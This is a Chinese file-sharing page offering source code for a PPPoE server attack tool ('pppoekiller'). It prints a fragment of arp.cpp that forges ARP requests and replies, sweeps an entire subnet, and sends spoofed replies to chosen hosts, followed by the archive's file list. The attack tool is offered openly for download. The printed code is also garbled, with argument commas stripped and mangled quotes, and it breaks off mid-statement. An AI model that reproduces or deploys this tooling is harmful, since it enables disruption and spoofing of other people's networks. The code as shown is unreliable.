• 大小: 9KB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2021-06-09
  • 语言: 其他
  • 标签: PPPOE  攻击  源码  

资源简介

利用PPPOE协议的漏洞攻击PPPOE服务器。有点类似于ARP攻击。

资源截图

代码片段和文件信息

// arp.cpp: implementation of the arp class.
//
//////////////////////////////////////////////////////////////////////

#include “arp.h“

int WINAPI send_arp_request(pcap_t *adhandle  ip_address s_ip mac_address s_macip_address d_ip){
//构造包
arp_packet arp_ask;
memset(&arp_ask0x00sizeof(arp_ask));

//包头以及填充的尾部,不变得部分
arp_ask.eh.dmac.byte1 = 0xff;
arp_ask.eh.dmac.byte2 = 0xff;
arp_ask.eh.dmac.byte3 = 0xff;
arp_ask.eh.dmac.byte4 = 0xff;
arp_ask.eh.dmac.byte5 = 0xff;
arp_ask.eh.dmac.byte6 = 0xff;
arp_ask.eh.smac = s_mac;
arp_ask.eh.ethproto = 0x0608;

//arp数据中不变的部分
arp_ask.ah.htype = 0x0100 ;
arp_ask.ah.ptype = 0x0008 ;
arp_ask.ah.hsize = 0x06 ;
arp_ask.ah.psize = 0x04 ;
arp_ask.ah.opcode = 0x0100 ;//请求

arp_ask.ah.smac = s_mac;
arp_ask.ah.sip = s_ip;

//下面是唯一变化的即arp_ask.ah.tip对方的IP地址
arp_ask.ah.tip = d_ip;

pcap_sendpacket( adhandle (unsigned char*)&arp_asksizeof(arp_packet));

return 0;
}

int WINAPI send_arp_request(pcap_t *adhandle  u_long s_ip mac_address s_macu_long d_ip){
ip_address * d_ip_addr * s_ip_addr;
d_ip_addr = (ip_address*) &d_ip ;
s_ip_addr = (ip_address*) &s_ip ;
return send_arp_request(adhandle*s_ip_addrs_mac*d_ip_addr);
}

int WINAPI send_arp_request(pcap_t *adhandleu_long s_ip mac_address s_mac  u_long netgroup  u_long netmask){
u_long target_ip = netgroup;
int i = 0;
do{
i++;
target_ip += 0x1000000;//最后加上一
if( 0 == ( i % 256 ))
 target_ip += 0x10000;//第三段加一
if( 0 == ( i % 65536 ))
 target_ip += 0x100;//第二段加一
if( 0 == ( i % 16777216 ))
 target_ip += 0x1;//第一段加一


if( target_ip == s_ip ){
continue;
}

if( netgroup != ( netmask & target_ip ) ){
break;
}

send_arp_request( adhandle s_ips_mactarget_ip);

}while(1);
return 0;
}

int WINAPI send_arp_reply(pcap_t *adhandle  ip_address s_ip mac_address s_mac  ip_address d_ipmac_address d_mac){
//构造包
arp_packet arp_ask;
memset(&arp_ask0x00sizeof(arp_ask));

//包头以及填充的尾部,不变得部分
arp_ask.eh.dmac  = d_mac;
arp_ask.eh.smac = s_mac;
arp_ask.eh.ethproto = 0x0608;

//arp数据中不变的部分
arp_ask.ah.htype = 0x0100 ;
arp_ask.ah.ptype = 0x0008 ;
arp_ask.ah.hsize = 0x06 ;
arp_ask.ah.psize = 0x04 ;
arp_ask.ah.opcode = 0x0200 ;//回复

//下面是发送方的地址
arp_ask.ah.smac = s_mac;
arp_ask.ah.sip = s_ip;

//下面是接收方的地址
arp_ask.ah.tmac  = d_mac;
arp_ask.ah.tip = d_ip;


pcap_sendpacket( adhandle (unsigned char*)&arp_asksizeof(arp_packet));

return 0;
}

int WINAPI send_arp_reply(pcap_t *adhandle  u_long s_ip mac_address s_mac  u_long d_ipmac_address d_mac){
ip_address * d_ip_addr * s_ip_addr;
d_ip_addr = (ip_address*) &d_ip ;
s_ip_addr = (ip_address*) &s_ip ;
return send_arp_reply(adhandle*s_ip_addrs_mac*d_ip_addrd_mac);
}


int WINAPI get_local_mac(mac_address * mac){
ASTAT adapter; //网络适配器
NCB Ncb;
UCHAR uRetCode;
LANA_ENUM lenum;

memset( &Ncb 0 sizeof (Ncb) );
Ncb.

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     文件        3108  2011-06-22 15:07  protocol_header.h
     文件        4215  2011-06-22 15:07  arp.cpp
     文件        1108  2011-06-22 15:07  arp.h
     文件        3657  2011-06-22 15:07  pppoed.cpp
     文件        1229  2011-06-22 15:07  pppoed.h
     文件       12197  2011-06-22 15:07  pppoekiller.cpp

评论

共有 条评论